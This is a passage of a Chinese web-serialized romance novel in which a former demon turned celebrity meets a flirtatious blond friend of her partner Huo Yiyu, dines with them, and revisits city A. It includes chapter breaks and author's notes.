“这是我的事,为什么要告诉他??” 她沉默片刻,扶了扶眼镜,点头道:“你说得对。不过在我离开之前,还需要向他?汇报一下工作交接。” 我了然地点点头。 车千亦除了是我的经纪人,还是霍亦瑀安排的保姆,是他?行走的人肉播报器,负责事无巨细地记录我每天的生活,并定时上报。 这件事是我自己发现的。 因为她总是低着头看手机,我便也好奇地跟着看,这才发现她正在一丝不苟地记录我的一举一动。 起初我还以为这是经纪人的常规工作,但她后来告诉我,这是霍亦瑀要求的、工作的一部分。 我:“晚上我会通知他?。” 车辆驶抵酒店地下停车场。车千亦没有陪我上楼,而是把手机交还给?我,再?三?嘱咐:“用小号的时候小心点,别露出马脚。总之,千万别发和?大号一样的照片。” “知道啦。” 我挥挥手,在服务员的引导下走向电梯。 自从大脑中的阻塞被疏通,我的思?维变得无比清晰。回房间的路上,我已开始勾勒未来的计划。 旅游的第一站,就定在A市好了,那个私人会所里,还有霍亦瑀送我的东西。 小金库里的钱也先留着。买私人飞机的钱,全?从他?那里出! 之前居然还想动用自己的积蓄,简直是笨蛋,能啃到的资源,为什么要用自己的? 我的钱,得用来做更重要的事,比如……比如投资什么的,我要做一个幕后操盘手,用一双大手操纵股市。 或许是神智清醒的缘故,手机仿佛自动检测到了我智商的提升,这几天总是给?我推送股票和?基金的消息。 冥冥之中,命运似乎看中了我成为股神的天赋。 像这种钱生钱的活动,怎么能少了我? 思?想上的问题解决了,现在该考虑食物了。 不开粉丝见面会,意味着需要自己寻找食物,霍亦瑀不能随时在身边,但我有信心完美地找到合适的跑友。 我已不再?是那个讨厌变化、总是固守一处的恶魔了,变化什么的很有意思?啊,无论怎么变都对我有利诶。 经过这几年的磨炼,我已然建立了稳固的食物自信。 爱这种东西,如今看来,有些唾手可得。 服务员按住电梯,待我进入后也跟了进来,挺直脊背站在按键旁。 每次开粉丝见面会,我都会住在这家由?车千亦筛选过的、保密性极佳的酒店,这里的服务员通常都像哑巴一样安静。 电梯里寂静无声?,手机的震动显得格外清晰。 我拿起手机。 [Y.Y]:(照片) [Y.Y]:在路上了,还有一个半小时到。 照片是随手拍摄的机场景象。 霍亦瑀刚下飞机,正赶往酒店。 [世界第一恶魔大人]:你怎么来了? [Y.Y]:提前忙完了。 [Y.Y]:先欢迎一下我吧。 [Y.Y]:不想我? [世界第一恶魔大人]:(猫四?脚朝天欢迎.jpg) [世界第一恶魔大人]:你回来得刚好,我有事要跟你说。 [Y.Y]:我也想你。 [Y.Y]:85分钟后见面再?聊。 叮咚—— 电梯门?开了。并非我所在的楼层,而是一楼大厅。 一个身材高大、穿着宽松衬衫的男人单手插兜,正微微低着头,百无聊赖地看着手机。 听到开门?声?,他?抬起头,朝电梯内看来。 一副无框眼镜架在鼻梁上,稍稍削弱了那扑面而来的轻挑感。 他?的五官组合起来,有种不加掩饰的欲望张力,嘴角天生微翘,眼眸是极深的黑色,偏偏又染了一头惹眼的金发。 在这不伦不类的组合之下,一颗小痣恰到好处地点缀在嘴唇正下方。 我盯着他?唇下那颗痣看了两秒。 同时,他?也在打量我。 服务员毕恭毕敬地询问他?的房间号。 “1403。” 一道如同品尝丝绒蛋糕般丝滑悦耳的声?音响起。他?迈步走进电梯,站在正中央,抽出揣在兜里的手,慢条斯理地解开了衬衫领口的一颗纽扣。 电梯门?缓缓合上,光洁的门?面清晰地映出我和?他?的身影。 我与他?的倒影在门?上对视。他?没有低头看手机,而是直直望着电梯门?,那经过反射的视线,精准地落入我的眼底。 比起视觉,嗅觉率先尝到的像是月季鲜花饼般的气味。 那双略显狭长?的眼睛弯起,他?心情?颇好地扬起嘴角,抬手朝我打了个招呼,姿态娴熟地开口。 “栾小姐,没想到会在这里遇到你。” 记忆里没有任何?关于这张脸的记录,我想了想,思?维全?部打开,脑袋闪过一道灵光,瞬间恍然大悟。 我了然点头,自信道:“我也没想到会在这里遇到美团。”—— 作者有话说:拖延症真该死!本作者先躺了! 第74章 男人迟疑地?念道?:“美团?” 我非常有礼貌地?说:“抱歉!除了?见面会, 我不会随便签名。” 我是个有原则的恶魔,如果?给他签了?,被?他拿去卖了?赚钱可怎么办?! 当明星让我最讨厌的就是黄牛和二手贩子,无痛赚钱的同时也无痛多了?一堆吸血虫, 想到别人会因为?我而赚钱并不会让我开心, 只会让我觉得我的钱被?偷走了?。 他忽然低笑出声?, 抬手指着自己:“难不成我看着像送外卖的?” 这个美团儿有点幽默了?。 我贴心地?解释道?:“是我的粉丝名。” 男人恍然大悟点了?点头,戏谑地?说:“那也可能是。” “毕竟你?很火。” 随即,他笑了?声?,自我介绍道?:“我刚回国不久, 今天,是成为?你?粉丝的第一天。” 百分之百崭新的美团儿。 意味着没给我花过钱。 我点了?点头,视线再次不由自主落到他嘴唇下?的痣上, 总觉得……有点奇怪的感觉,他看着好像特别会舔的样子。 就在我思绪飘忽的瞬间,他竟真的伸出舌尖,轻轻润湿了?唇瓣, 挑起眉朝我露出意味不明的笑。 他的嘴唇很红,像是咬过毒苹果?似的。 鲜花饼的气息若隐若现。 我久违地?品尝了?一口只属于一个人的情感,味道?很淡,像是往嘴里喷了?一下?口腔清新剂, 转瞬即逝。 “在看这个?” 他注意到我的视线, 手指点向唇下?的痣, “天生的。” 我作势思考, 仍然想不到怎么命名这种气质。 “我明白。”他了?然地?点头,歪头看着我,唇角弯起自信的弧度, “你?想说,很帅,对吧?” 百分之百自恋确定。 我移开视线,假装没听见,拿起手机查看消息,顺手将?邛浚给的纸条展开,按照上面的号码发送了?好友申请。 “哇哦。”男人忽然发出一声?夸张的感慨,“竟然当着粉丝的面私联。” “我的粉丝滤镜,在第一天就破灭了?。” 我瞥了?他一眼,语气平淡:“不是私联。” “那这个手机号是?”他微微倾身?靠近,身?上浓郁的、带着工业香精味的香气几乎要将?人淹没,仿佛在刻意掩盖着什么。 我镇定自若:“是叫外卖。” 他恍然点头,眯起眼睛,戏谑的目光在我脸上流转,“你?的粉丝名正好也外卖配送,真是好巧。” 我点头赞同。 身?旁的体温骤然靠近了?些,他保持着既不冒犯又足够亲近的距离,恰好能让温热的呼吸若有似无地?拂过我的耳廓。 他注视着我,眸中的深色几乎凝成实?质,嘴角挂着似有似无的笑意。 我懂了?。 这是‘一块看似滑溜、实?则暗藏棱角的史?莱姆’的气质。 “我也可以顺便帮你?送个外卖。”他压低声?音,带着蛊惑的意味,“要认识一下?吗?” 我的视线瞟向旁边如木桩般伫立、眼观鼻鼻观心的服务员。 “别担心。” 他的手指轻轻在我眼前晃了?晃,遮挡了?部分视线,嘴角的弧度加深:“只是送外卖而已?。” “叮咚——” 电梯到达指定楼层的声?音清脆响起。 他利落地?直起身?,瞬间转换了?话题,语气轻松:“可惜时间到了?,下?次见面的话,再给我答复吧。” 这位不知?姓名的男人迈着从容的步子走出电梯,背影随着缓缓合上的门扉消失。 是勾引吧。绝对是在勾引。 果?然成名之后,各种男人都会像闻到花蜜的蜂一样凑上来。看在他姿色不错的份上,等下?次见面再说吧。 添加邛浚的联系方式后,对面几乎秒回。 [邛浚(保持警惕)]:(照片) [邛浚(保持警惕)]:朋友抱一下?,说说你?心里话 [邛浚(保持警惕)]:五年过去我们都成长了?啊。 他发来一张自拍,背景是一间装潢豪华的办公室,他单手撑着脸颊,对着镜头笑得一脸无辜。 五年过去,他那张脸依旧白净得像个大学生,气质纯净得像瓶装矿泉水。 等等。 他一个送外卖、干中介的,都混上豪华办公室了?? 我放大图片,仔细审视背景里的装饰和奖牌,完全分辨不出真伪,但心里拒绝承认,直接将?其定判断为?假货。 [邛浚(保持警惕)]:都是真的哦 [邛浚(保持警惕)]:想来看赛车、赛马或者拳击比赛可以来找我,给你?打五折 [世界第一恶魔大人]:不可能!你肯定用了AI合成! [邛浚(保持警惕)]:小冬大人饶命啊!我只是比以前稍微富了?一点点而已?,其实?我家?只有两?百平,特别小(小熊哭泣.jpg) 两?百平…… 我倒吸一口凉气,记忆里,他明明该住在桥洞底下才对! 他也实?现阶级跨越了?,但肯定没我跨得远。 这么一想,心里顿时平衡了?不少。 [世界第一恶魔大人]:那以前的合作呢?我的钱是不是还在你?那里? [邛浚(保持警惕)]:没错 [邛浚(保持警惕)]:小冬大人自己来取吧,我存在卡里了?,卡就放在办公室(图片)(图片) 拍出来的照片不知?道?是在炫耀桌面上的黄金摆件还是在炫耀真皮座椅,完全看不出来卡放在哪。 [世界第一恶魔大人]:你?肯定不怀好意 [邛浚(保持警惕)]:怎么会呢?伤害谁,我都不可能伤害你?啊 [邛浚(保持警惕)]:我们是好朋友,不是吗? 我放下?手机,环顾着舒适豪华的客厅,摸了?摸下?巴。 不行,还是不行。 我的财富值远大于他,万一钱往他的方向流走怎么办?绝对不行。 [世界第一恶魔大人]:有空会去看望你?的。 至于什么时候有空?大概一辈子都不会有空! 放下?手机,我便沉浸到游戏世界里,手柄在手,脑子里所有杂念瞬间清空。 车千亦离开时,顺手把最新的游戏卡带给了?我,此刻,我正全心投入在新游戏的体验中,无法自拔。 旁边的落地?窗外,摩天大楼林立,霓虹闪烁,虽然是明星,但我从没有拉窗帘的习惯。 住在顶楼,如果?不能尽情享受窗外的风景,那不是白住了?? 车千亦总担心有狗仔偷拍,她?在的时候,总会执意拉上窗帘,而我再拉开,如此反复几次后,她?最终选择了?妥协。 毕竟,就算被?拍到,新闻也根本发不出去嘛。 屏幕里,我操控的角色正利落地?将?一群小猪赶进围栏,哐哐地?砸下?木桩,夜幕降临,成功抵御了?黑暗中的威胁。 如果?不把它们关好,第二天早上就只剩下?一堆骨头了?。 屏幕上刚浮现“第二天”的字样,门外忽然传来智能锁开启的轻微响动,我循声?望去,房门被?推开,一个熟悉的身?影映入眼帘。 “在玩游戏?” 霍亦瑀迈步进来,脚步声?几不可闻,身?上那股如同熟透果?实?发酵般的酒香却先一步弥漫开来,带着些许令人微醺的甜腻。 这五年里,他发酵得很好。 他慢步来到客厅,自然地?在我身?边坐下?。 打游戏时,我从不坐沙发,更喜欢瘫在铺着柔软地?毯的地?上,舒舒服服地?嵌在茶几与沙发之间的缝隙里。 霍亦瑀一挤进来,空间顿时变得逼仄。 他坐了?片刻,忽然伸手揽住我的腰,轻而易举地?将?我提到了?沙发上,我还没来得及抗议,他就自顾自地?充当起人肉靠垫。 我眯起眼睛,向后靠在他怀里,手上依旧没停下?操作,专心致志地?看着屏幕。 他低笑一声?,胸腔传来轻微的震动,抚着我膝盖的手心温暖,像一只恒温的热水袋。 “想我了?吗?”他低声?问,气息拂过耳畔。 “想。” 我目不转睛地?盯着屏幕上四处乱窜的小猪,操纵角色挥动皮鞭,精准地?抽打在它们的屁股上。 “听车千亦说,你?打算不开粉丝见面会了??”他的声?音带着了?然,“消息里要说的,就是这个吧。” 我刚成功将?最后一只猪赶进圈里,他忽然握住我的腿弯,略一用力,将?我调转方向,变成斜坐在他腿上的姿势。 他挑起眉毛,浓密的眉峰下?,浅棕色的眼眸里含着一点促狭的笑意:“不详细说说?” “我打算给自己放个长假。”我理直气壮地?说,“像我这样兢兢业业工作了?五年的人,放个长假合情合理吧?而且粉丝每个月都来看我,肯定也看腻了?。” 力的作用是相互的,我腻了?,他们肯定也腻了?。 “上次我建议你?减少场次的时候,你?可是信誓旦旦地?说,粉丝离不开你?。” 霍亦瑀的视线缓缓下?移,落在我的嘴唇上,语气意味深长:“你?的想法,变得可真快啊。” “哪有很快。” 我辩解道?:“都过去五年了?。” “我上个月刚问过你?同样的问题。” “是吗?”我毫无印象。 “好。” 他应道?,脸上的笑意淡去了?些许,显露出几分真实?的疲惫,像只困倦的猎豹,将?头埋进我的颈窝,呼出湿漉漉的热气。 衬衫领口解开了?几颗扣子,露出的肌肤紧贴着我,传来热水袋般令人舒适的暖意。 “以后,我会多抽时间陪你?的。” 他的手掌在我腰间流连,慢条斯理地?亲吻着我的脖颈,声?音低沉,“我的大明星,我们也该好好规划一下?……接下?来的人生了?。” 什么事?我迷糊的脑子里蹦出一个问号,我接下?来的人生规划,哪一样和他有必然关系? 还没等我想明白,他的唇已?经覆了?上来,如同熟透果?实?的软肉,带着酒意的甘醇,反复吸吮、碾磨。 他向来喜欢这种慢条斯理的亲吻方式,极具耐心。 等到一吻结束,我抬眼看向屏幕,发现我的小猪们已?经全军覆没。 我不耐烦地?推了?推他,他却将?我搂得更紧,依旧不满足地?在我唇上、脸颊落下?细碎的吻。 直到他终于尽兴,才笑着替我理顺有些凌乱的头发,语气熟稔:“等会儿赔你?一局。” 我不满地?瞪着他:“猪都死光了?,怎么赔?” “重新开始一局,它们不就都活过来了??” “不行,”我扭过头,“我不能这么轻易原谅你?。” “那想要什么补偿?”他挑眉,从喉间溢出一声?低沉的哼笑。 “我要私人飞机。” 我立刻来了?精神,兴致勃勃地?宣布:“而且还要买房子!” 他那双浅棕色的眸子眯了?眯,眼底流动着微妙的光晕:“想买在哪?” 我歪着头,正努力思考选址,一阵急促的门铃声?骤然响起。 叮咚叮咚——! 门外的人似乎笃定屋里有人,执着地?按个不停,大有不开门就不罢休的架势。 我回过神来,看向霍亦瑀。 他慢条斯理地?整理了?一下?微乱的领口,视线转向紧闭的房门,脸上那一瞬间掠过的冰冷,如同冬日寒风。 但他很快起身?,步履从容地?走到门边,打开了?门。 “好久不见就是这副表情?” 那个不久前刚听过的、如同丝绒蛋糕般慵懒滑腻的声?音响了?起来,语气带着熟稔的调侃,“难不成我打扰到你?的好事了??” “来了?怎么不提前说一声?,大忙人?平时想约你?都约不出来,今晚我的接风宴,你?总得给个面子吧?” “就我们俩……不过。” 门外的人话音一顿,似乎探头朝里面张望了?一下?,声?音里顿时染上几分愉悦:“里面好像还有位朋友?” 下?一刻,那颗金色的脑袋探了?进来,视线精准地?落在我身?上,发现是我后,他心情极好地?抬手打了?个招呼。 “又见面了?,栾小姐,赏个脸,一起吃个饭吧。” 他说:“我是颜升,霍亦瑀的老朋友。”—— 作者有话说:本作者今天出去玩了,所以拖延是有理有据的(?) 感觉把一章的剧情拆成了三章……不能再水了,必须精进这个剧情(精进)(精进) 这个男银和邛浚有点关系,有人看出来吗?[眼镜] 第75章 所以?。 我们三人正坐在餐厅里, 在诡异的气氛里开始进食。 这位叫做颜升的男人自称是?霍亦瑀的好朋友,然而五年里我从没有听说过他的名字,对这张脸丝毫印象也没有。 按理说,像他这样气质独特的人, 就算我脑子糊了, 也能留下隐约的“史莱姆”的印象吧, 然而什么也没有,反而是?他知道我的名字,指不定哪天偷偷看我的照片,在背后崇拜我。 霍亦瑀对他的突然出现并未表露过多情绪, 他很擅长隐藏真实?想?法,在房间里的不悦一闪而过,如同水面上微不可?察的涟漪。 但我看到了他身上若隐若现的情绪, 像丝线缠绕着?。 果然,这是?好兄敌。 服务员安静地?上完最后一道菜品,恭敬地?鞠躬退下。 颜升单手支着?下巴,视线在我和霍亦瑀之间来回逡巡, 低头抿了一口酒后,饶有兴致地?开口:“这还是?我第一次见你身边有人,之前总是?一副工作狂的模样,让我不得不为你的未来担忧啊。” 他话里带着?明显的戏谑, “这么久了, 怎么不介绍给大家认识认识。” 霍亦瑀淡淡瞥了他一眼, 语气没什么起伏:“少贫嘴。安静吃你的饭。” “不行。”颜升眼睛弯弯, “好久没见你,总要说点话吧,难不成五年过去?, 没有一句话想?跟我说?” “你在手机上没说够?” “怎么会呢。” 颜升忽然露出厌恶的表情,自嘲道:“刚才我说话好恶心,栾小姐不会在意吧。” “是?有点恶心。”我客观地?点评。 黏糊糊的,果然像个史莱姆。 “别这么嫌弃我嘛。”他压低声音,眼底映着?酒杯晃动的光影,语气带着?蛊惑,“虽然刚认识,但我有预感?,我们会是?特别合得来的那种?人,说不定能成为比霍亦瑀……更好的朋友哦。” 他身体?微微前倾,声音压得更低,如同分享一个秘密:“如果以?后霍亦瑀对你不好,随时可?以?来找我。” 霍亦瑀放下手中的酒杯,杯底与桌面接触发出清脆的轻响。 他嘴角那抹惯常的笑意淡了些,挑起一侧眉毛,语气带着?几?分漫不经心的反击:“你的接风宴,就是?为了来说这些?不如聊聊你在国外的丰功伟绩,比如那些派对、游戏、赛马……不是?你最热衷的吗?” “哪能啊。” 金发男人随意地?挥了下手,动作间,衬衫胸前的扣子不知何时又解开了两颗,露出一小片白皙的肌肤。 夏末的天气依旧带着?余热,他的穿着?打扮看似随意,却处处透着?精心设计的格调,脖颈处,一点银光随着?他的动作若隐若现。 我的视线不由?自主地?被那抹反光吸引。 下一秒,修长的手指便慢条斯理地?勾起了那条细链,指尖带着?某种?玩味的意味,轻轻碾磨着?链坠。 他抬起头,精准地?捕捉到我的目光,随即弯起那双狭长的眼睛,笑得像只刚刚成功偷到鸡的狐狸。 几?乎同时,一只手伸到我面前。 我转过头,对上霍亦瑀浅棕色的眼睛,有种?被抓包的感?觉,但转念一想?是?眼睛犯的错,跟我有什么关系? 他嘴角依旧挂着?得体?的微笑,将一杯果汁推到我面前。 “渴了吧?喝点这个。” 旁边侍立的服务员原本要动作,见他已亲自拿起杯子,便又悄无?声息地?退回原位。 我点了点头,脑海里还残留着?颜升碾磨项链的运动。 真的,这人真的在勾引我! 哎。我不由?想?叹气,我的魅力还是?太大了,食物自己就跑上门,完全不需要考虑嘛。 但是?颜升是?霍亦瑀的朋友。 很麻烦啦,毕竟我现在还要靠薅霍亦瑀买私人飞机。 所以?到底要不要接受他的好意呢……我思考着?,端起杯子喝了一口。 杯中的橙汁色泽鲜亮,入口是?水果的清爽,但舌尖却敏锐地?捕捉到一丝甜腻过后、类似过度发酵的果酒般的余味。 其实?我可?以?去?当调酒师,一只手抓霍亦瑀,到哪里都可?以?调酒玩。 如果有调料味的爱,岂不是?就能炒个菜了? 我的思绪飘逸,等回过神?来,才发现颜升正在和霍亦瑀聊工作上的事。 两人你来我往,好不快乐。 “在国外也没什么好玩的,反正人都是?那些人,总有看腻的一天……” 他转过头,注意到我的视线,笑说:“倒是?你,怎么不告诉我们,你家里有人了。” “总会知道的,只是没到时机。” 霍亦瑀语气平静,听不出情绪:“我不喜欢把私事摆上台面,成为别人的谈资。” “哇哦。”颜升夸张地笑了一声,“我可?以?认为你是?在内涵我吗?” 说完,他话锋一转,耸耸肩道:“谁让你是?我的朋友呢?我原谅你了。” 霍亦瑀:“你和以?前相比,变了不少。” “人总是?会变的嘛,时间在流淌,人自然也要向前看,不过,有些情谊……是?不会轻易改变的。” 他目光转向霍亦瑀,带着?一种?难以?言喻的深意:“下次我家会办一场正式的接风宴,你带着?栾小姐一起来吧。” 颜升再次用手撑住下巴,视线落回我身上,笑盈盈地?问:“我不知道的话,想?必其他人也都不知道吧?” “……” 霍亦瑀敛眸,表情仍旧是?浅淡的,片刻后抬眼看向我,温和地?说:“想?去?宴会吗?你可?能会觉得无?聊,毕竟只是?一群人聚在一起的活动,没什么有趣的。” 我怎么就不感?兴趣了?当明星这么多年,我竟然连小说里上流社会标志性的宴会都没参加过,简直是?职业生涯的耻辱! 唯一去?过的一次,是?客串超级大烂片,演的是?幕后大佬,负责在红色窗帘后面冷笑。 我顿时来了兴致,开心地?对颜升说:“去?啊,为什么不去?,那么多人,肯定会很好玩。” 颜升歪着?头,忍不住笑了起来,亲切地?说:“你还真是?个有趣的人。” 霍亦瑀:“下次带你去?。” “时间不远。”颜升接过话头,“就在这周五。” 他忽然想?到什么,从兜里抽出一张卡,随手递给旁边的服务员,说:“给栾小姐。” 雪白的餐桌很大,如果他想?脚不离位地?递给我,需要整个人趴在桌上,完全把自己摊开。 如果裸体?的话,那是?不是?叫人体?盛宴来着?? 餐厅服务员不仅要端茶送水,还得充当人与人之间的快递员。 应该在桌上安个传送带。 我接过那张卡,看了一眼霍亦瑀,他微微颔首,脸上笑容不变。 手中是?一张某高级私人会所的会员卡,烫金工艺,设计独特,象征着?某种?资格与身份。 “我最近投资了几?家私人会所,栾小姐若是?觉得无?聊,可?以?去?逛逛,虽然也没什么特别,但总觉得不送点见面礼,过意不去?。” 颜升语气友善,笑容无?可?挑剔:“随时恭候大驾。” 他的笑容,就像这张卡上闪耀的烫金字体?,带着?一种?让人心尖发痒的怪异感?,似有似无?地?、隐秘地?暗示什么,但又已将意图直白地?写在明面上,毫不掩饰,一看便知。 紧接着?,他神?色无?比自然地?重新与霍亦瑀攀谈起来,话题转向最近的商业动态,仿佛刚才的一切都顺理成章。 晚餐终于在一种?微妙的平衡中结束。 颜升施施然起身告别,姿态潇洒地?离开了餐厅,留下一缕若有似无?的、带着?侵略性的香气。 回到酒店顶楼后,我躺在床上,捏着?那张卡翻来覆去?地?看,好奇地?问走回我身边的霍亦瑀:“你去?过这个地?方吗?” 霍亦瑀刚从洗漱间出来,发梢还带着?湿气,几?颗衬衫扣子随意地?解开。 只有在这种?私人时刻,他才会流露出几?分不经意的散漫,像只纪录片里懒洋洋不想?动的猎豹。 他一边脱下衣服,一边走到我身边,目光落在我指尖的卡片上,忽然伸手将它抽走。 “我没去?过。”他端详着?卡片,语气平淡,“这是?他回国后新投资的产业,建成应该没多久。现在去?,不太合适。” 我歪头追问:“为什么?” 他没有直接回答,而是?将卡片放到一旁,随即躺到我身边,后背倚靠在铺着?软垫的床头,手自然地?环过我的臂弯,指尖有一下没一下地?摩挲着?。 注意到我的视线,他挑眉问道:“你对他很好奇?” “不是?对他好奇。” 我纠正道,“我只是?觉得他看起来就很会玩的样子。” 当过恶魔的都知道,这种?史莱姆最坏了。 “他确实?很会玩。”霍亦瑀语气里听不出褒贬,“以?前各种?聚餐、派对、私人活动,他总是?最活跃的那个,而且……” 他顿了顿,说:“荤素不忌。” 荤素不忌?那他胃口倒是?挺好的。 我还想?再问点什么,但霍亦瑀已经伸手按灭了卧室的主灯,只留一盏昏黄的壁灯。 他将我揽进怀里,习惯性地?将温热的手掌贴在我的膝盖上,带来一阵熨帖的暖意。 黑暗像被子一样覆盖房间,疲惫顷刻间爬出。 我打了个哈欠,在他怀里找了个舒服的姿势翻身。 黑暗中,他带着?磁性、如同低电流般的声音在寂静的房间里响起。 “不工作的话,明天想?做什么?” “A市。”我又打了个哈欠,含糊地?说,“我要去?A市。” 目前我和霍亦瑀住在一起,虽然他经常出差,但是?家里有很多佣人,无?处不在,就像是?他的眼睛一样。 我想?要完全属于我的房子。 霍亦瑀想?进来必须通过我的允许,不然就只能一直等在门口,我绝对不会给他钥匙的,因?为一旦给了,他就会想?方设法在房子里留下属于他的痕迹。 绝对不行!他连一根毛都不准留下! 至于房子的构造,按照之前的想?法,有落地?窗风景、花园、游戏室、衣帽间……现在要加一个专门用来收集粉丝夸赞我的评论。 每天看一次,心情舒畅。 房子的选址嘛…… 我的脑海里不由?自主地?再次浮现出A市,无?论我怎么想?,它总是?固执地?蹦出来,挥之不去?。 似乎每一个重大决定的岔路口,它都会迫不及待地?跳出来,彰显自己的存在。 A市到底有什么好?我自己也说不清。 记忆里的大部?分时间,它都是?穷酸的。 漏风的墙壁,拮据的生活,还有那些混杂在一起、如同浆糊般涌进胃里的、滋味复杂的爱。 可?它在我的记忆里,偏偏又如此清晰。 拥有人类的身体?后,我发现记忆总是?保留苦的部?分,以?此显得甜更甜。 可?能这就是?短剧里、小说里主角爱回新手村打脸反派的原因?,越富越想?回去?一次,看看以?前的模样,然后再装个大的。 但我好像没有可?以?打脸的人诶。 耳边的人说了些什么,但我压根没听清。 最后一声叹息后,圈着?我的手重了些,那如同陈年佳酿般醉人的、独属于他的气息,紧密地?将我包裹,暖意浸润着?四肢。 反正人很多,随便找个打脸吧。我想?—— 作者有话说:鲜花饼有点高高在上,有木有,想看他和穷菌狗咬狗 窝今天终于写完了章纲(翻滚)(蹦跳) 窝好困,窝要在期待评论里睡觉[眼镜]《 》 75-80 第76章 回A市的第一天, 飞机延误,下飞机接着?交通堵塞。 我深刻怀疑这地方和?我有仇。 要不然为什么能把短短一个?小时?的路程堵成两个?小时?? 原本我还想去看看以前的房子,到现在彻底没了兴致,索性让司机掉头去了另一条路, 干脆去看看曾经?借住的公寓。 然而, 映入眼帘的并非记忆中那灰扑扑的低矮楼房, 而是一片被围挡圈起来的废墟。 为了不引人注意,我戴着?帽子和?口罩,站在街角陷入沉思?。 一个?路人牵着?狗经?过,被我拦住询问。他扫了眼旁边的废墟, 颇有感触:“一年前的新开发项目,好巧不巧就选中了这儿。哎,要是选我家?那块就好了。听说这儿的人都搬进城里了, 那才?叫舒坦。”脚边的狗也跟着?附和?似的叫了两声。 路人感慨着?走远,我却愣在原地。 要是早点回来把这房子买下,现在岂不是赚翻了? 真是太不凑巧了。 我唉声叹气地坐回车里,思?忖片刻, 最终一拍座椅,让司机开往市中心,先去男公关店。 说不定哥哥和?浦真天还在那工作。 可到达目的地后,迎接我的是一片平坦的、毫无建筑痕迹的绿化草坪。 在高楼林立的缝隙里, 曾经?的男公关店原地变身成健康向上的公共空间, 看着?陌生的路人在上面悠闲漫步, 我的大脑也跟着?被踏平了。 [极乐世界]竟然倒闭了! 我用力眨眨眼, 几乎以为自己在做梦。可揉揉眼睛,那片空地依旧空空如也。 所?以男公关们呢?哥哥呢?浦真天呢? 全跑了?! 我倒吸一口凉气,在车内摆出沉思?的姿势。驾驶座的司机透过后视镜看我:“女士, 需要我下去打听一下吗?” 外面人流如织,贸然露面很可能被认出来,引发骚动甚至交通瘫痪。 其他的记不得,但车千亦教给我的基本明星素养还在脑子里留着?。 作为一个?有素质的恶魔,我接受了司机的建议,让他去问问究竟。 到底怎么了。 我真想问问全世界。 不久,司机去而复返,面带犹豫,吞吞吐吐地说:“听说……是得罪了某位大人物,被彻底端掉了,里面的男公关,有的去了别的店,有的干脆转行了,至于?老板……他们传言,可能进监狱了。” 我再?次倒吸一口凉气,感觉自己像个?高效运作的抽风机。 我才?离开多久,就得罪大佬外加锒铛入狱?这下好了,想打脸都找不到人。 有种攒足了劲儿,却发现想揍的人已经?被别人揍了的憋屈感,甚至还生出几分世事无常的感慨。 宗朔啊,好歹混成法制咖了,那你就一路走好吧! 我不死心地追问:“那有没有说其他男公关具体去了哪里?” 司机想了想:“听说排名?靠前的那几位都‘从良’了。大部分去了隔壁一家?叫[王子会所?]的地方,还有一小部分散到其他场子了。” 他欲言又止:“您……是想找什么人吗?” 我叹了口气,意兴阑珊地摆摆手:“往事如风,算了,走吧。” 这下好了,男公关集体上岸,我该上哪捞人去?难道要去监狱探视宗朔?或者……直接问霍亦瑀? 他能三分钟内搞到我的全部资料,查几个?人的下落应该不在话?下。 等?回去问问吧。 兜兜转转,我最终还是去了那家?私人会所?,打算先享受一番,再?顺便打听一下这块地皮出售的可能性。 刚步入气派的大厅,服务员便恭敬地引我上楼,因为这里的每个?房间都有固定的主人,所?以都需要开房才?行。 走到半路,一个?熟悉的身影却让我停下了脚步。 男公关们可以跑路从良,但有人连海都没下过,也就没有跑路的说法了。 柯觅山!就决定是你了! 我的目光锁定在那个?气质愈发沉稳内敛的男人身上。 五年过去,他的头发略长了些,脸上依旧是那副温和?可亲的笑容,只是比以往更深沉,像一片表面平静、内里暗流汹涌的海。 服务员见我驻足,立刻转身询问:“女士,有什么需要吗?” 不远处的人闻声,漫不经?心地瞥来视线,随即怔在原地。 仅仅几秒,他便恢复如常,目光先向我身后扫去,脸上的笑意微不可察地淡了几分。 打脸分精神?攻击和?物理攻击,前一种要谨慎使用,后一种随便用。 “你们会所有永久出售的打算吗?” 我大手一挥,云淡风轻地说:“我刚好有点投资意向,麻烦请经?理过来一下。” “……” 服务员完全愣住,半晌才慢半拍地回应:“好、好的,我马上去请。” 服务员前脚刚离开,后脚柯觅山便走了过来,脸上挂着?那副标志性的、无可挑剔的假笑,看不出丝毫情?绪波动。 “学妹,好久不见。” 我故作陌生,恍然大悟般:“你是……?” “……柯觅山。” “哦!”我猛地一拍手,朝他露出毫无破绽的微笑,“原来是你啊!真是男大十八变,完全没认出来。” 柯觅山眼睫弯起,浓密的睫毛半掩着?深蓝色的瞳仁,语气温和?依旧:“学妹,用词错了,‘十八变’指的是十八岁,我已年过十八,仅仅五年而已,不至于?让你近视到这种程度吧?” “抱歉,我对姓柯觅山的人天生带点偏见,看不清楚也很正常吧。” 他的表情?不变:“你倒是没怎么变。” 我竖起手指左右摆动:“不,我已经?不是五年前的我了,现在,我是坐拥上亿资产的超级有钱人,说不定比学长您还有钱哦。” “是吗?” 他再?次提起嘴角,微微眯起眼睛,那双蓝眸在光线下显得格外深邃:“难道不是大明星、演员、歌手和?有钱人的四重身份吗?” 虽然他说的是事实?,但那副眯着?眼、笑意不达眼底的模样,总让我觉得那双深蓝色的眼睛里藏着?若有似无的戏谑。 “等?我买下这里,第一件事就是把赶你出去。” “这里是非卖品。”柯觅山慢条斯理地说,“你有没有想过,拥有这块地皮的也是有钱人,凭什么一定要卖给你呢?” 对哦……不对! 我怒视柯觅山:“你还是和?以前一样,这么让人讨厌。” “现在又没变了?” 他哼笑一声,脸上终于?露出不一样的表情?,但很快收敛情?绪,态度逐渐转变,语气重新变得温和?。 柯觅山:“刚才?是我情?绪激动,向你道歉,不如这样,你这次的消费由?我来承担,就当是我请客。” 我用的明明是霍亦瑀的卡,本来就没打算花钱,但转念一想,我笑嘻嘻地开口:“好啊,那你直接把钱转给我吧。” 他挑眉不答,低头轻笑,再?抬眼时?,蓝眸似乎颜色更深,在灯光下如同凝结的贵重宝石。 我们视线相对,他率先移开目光,望向别处,语气平淡地开口:“你和?那个?——” “好巧啊。” 一道声音自身后传来,打断了柯觅山的话?。 金发男人迈着?轻快的步子走近,笑容灿烂得像株迎日向日葵。 熟悉的、带着?鲜花饼甜香的气息若有若无地飘来,难以忽视。 昨天才?见过的颜升笑脸盈盈,目光扫过柯觅山,故作惊讶:“柯少爷也在?几年不见,近来可好?”” 柯觅山的视线在我们之间快速掠过,语气温和?:“最近一切安好。” “那就好啊。”颜升说,“柯阿姨退位不久,你应该很忙吧。” “……还好。” 